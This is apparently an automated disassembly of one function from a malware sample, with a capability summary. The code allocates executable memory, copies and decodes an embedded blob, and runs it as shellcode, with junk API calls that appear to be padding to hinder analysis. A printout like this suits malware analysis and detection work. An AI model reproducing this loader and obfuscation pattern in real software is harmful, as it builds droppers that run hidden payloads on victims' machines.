Function at 0x401ad4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10f0
call fcn.00406910
mov eax, dword [0x430070]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x4321b8
push esi
push edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401af5
sub ecx, edx
cmp ecx, 0x159
je 0x401d16
xor esi, esi
mov edi, esi
lea eax, [ebp - 0x103c]
push eax
push esi
call dword [sym.imp.USER32.dll_GetMenuInfo]
cmp edi, 0x4ad
jle 0x401b30
cmp dword [ebp - 0x1034], 0x521f812a
jne 0x401b39
inc edi
cmp edi, 0xfdc3
jl 0x401b0e
mov eax, 0x2725
mov ecx, esi
mov dword [0x4320b0], eax
cmp ecx, 0x209
jne 0x401b52
add eax, 0x1890
inc ecx
cmp ecx, 0xc3e
jl 0x401b45
push 0x40
push 0x1000
push eax
push esi
mov dword [0x4320b0], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x432a8c], eax
mov edi, esi
cmp edi, 0x1e3
jge 0x401b8c
lea eax, [ebp - 0x808]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
inc edi
cmp edi, 0x590053
jl 0x401b76
mov edi, esi
mov eax, dword [0x432a84]
cmp edi, 0x7c16df
mov ecx, 0x43c86c
cmove eax, ecx
mov dword [0x432a84], eax
cmp edi, 0x865
jge 0x401bc5
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
inc edi
cmp edi, 0x8d70ff
jl 0x401b97
mov edx, esi
cmp dword [0x4320b0], edx
jbe 0x401bf5
mov eax, dword [0x432a84]
mov cl, byte [eax + edx + 0x1890]
mov eax, dword [0x432a8c]
mov byte [eax + edx], cl
inc edx
cmp edx, dword [0x4320b0]
jb 0x401bd8
mov edi, esi
cmp edi, 0x500233
jne 0x401c06
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
inc edi
cmp edi, 0x88d29b
jl 0x401bf7
push ecx
call fcn.00401a15
pop ecx
mov edi, esi
cmp edi, 0xa151
jne 0x401c31
nop
add dword [0x4320b0], 0x379b
call dword [0x432a8c]
cmp edi, 0x19bc
jge 0x401c48
push esi
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCommMask]
inc edi
cmp edi, 0x5a545b
jl 0x401c18
push esi
lea eax, [ebp - 0x1008]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_SetDlgItemInt]
mov eax, dword fs:[0x2c]
xor edi, edi
inc edi
push esi
mov eax, dword [eax]
mov dword [eax + 4], edi
call fcn.0040af33
pop ecx
push esi
push esi
call fcn.0040ad8e
push esi
push esi
push esi
push esi
call fcn.00401056
push esi
push esi
call fcn.0040cf22
push esi
call fcn.0040cd2f
add esp, 0x24
lea ecx, [ebp - 0x1020]
push str.vetizababagewoxodocesa
call fcn.00401d3a
push ecx
push ecx
lea ecx, [ebp - 0x10f0]
call fcn.00401db9
lea ecx, [ebp - 0x10e0]
call fcn.00404299
push ecx
lea ecx, [ebp - 0x10e0]
call fcn.00402431
lea ecx, [ebp - 0x1088]
call fcn.00401d8a
lea eax, [ebp - 0x1088]
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
push eax
call fcn.00404d58
pop ecx
push esi
push edi
lea ecx, [ebp - 0x1020]
call fcn.00403044
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.004058e8
mov esp, ebp
pop ebp
ret 0x10
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
push esi
push esi
call fcn.0040ad8e
pop ecx
pop ecx
push esi
call fcn.0040acac
int3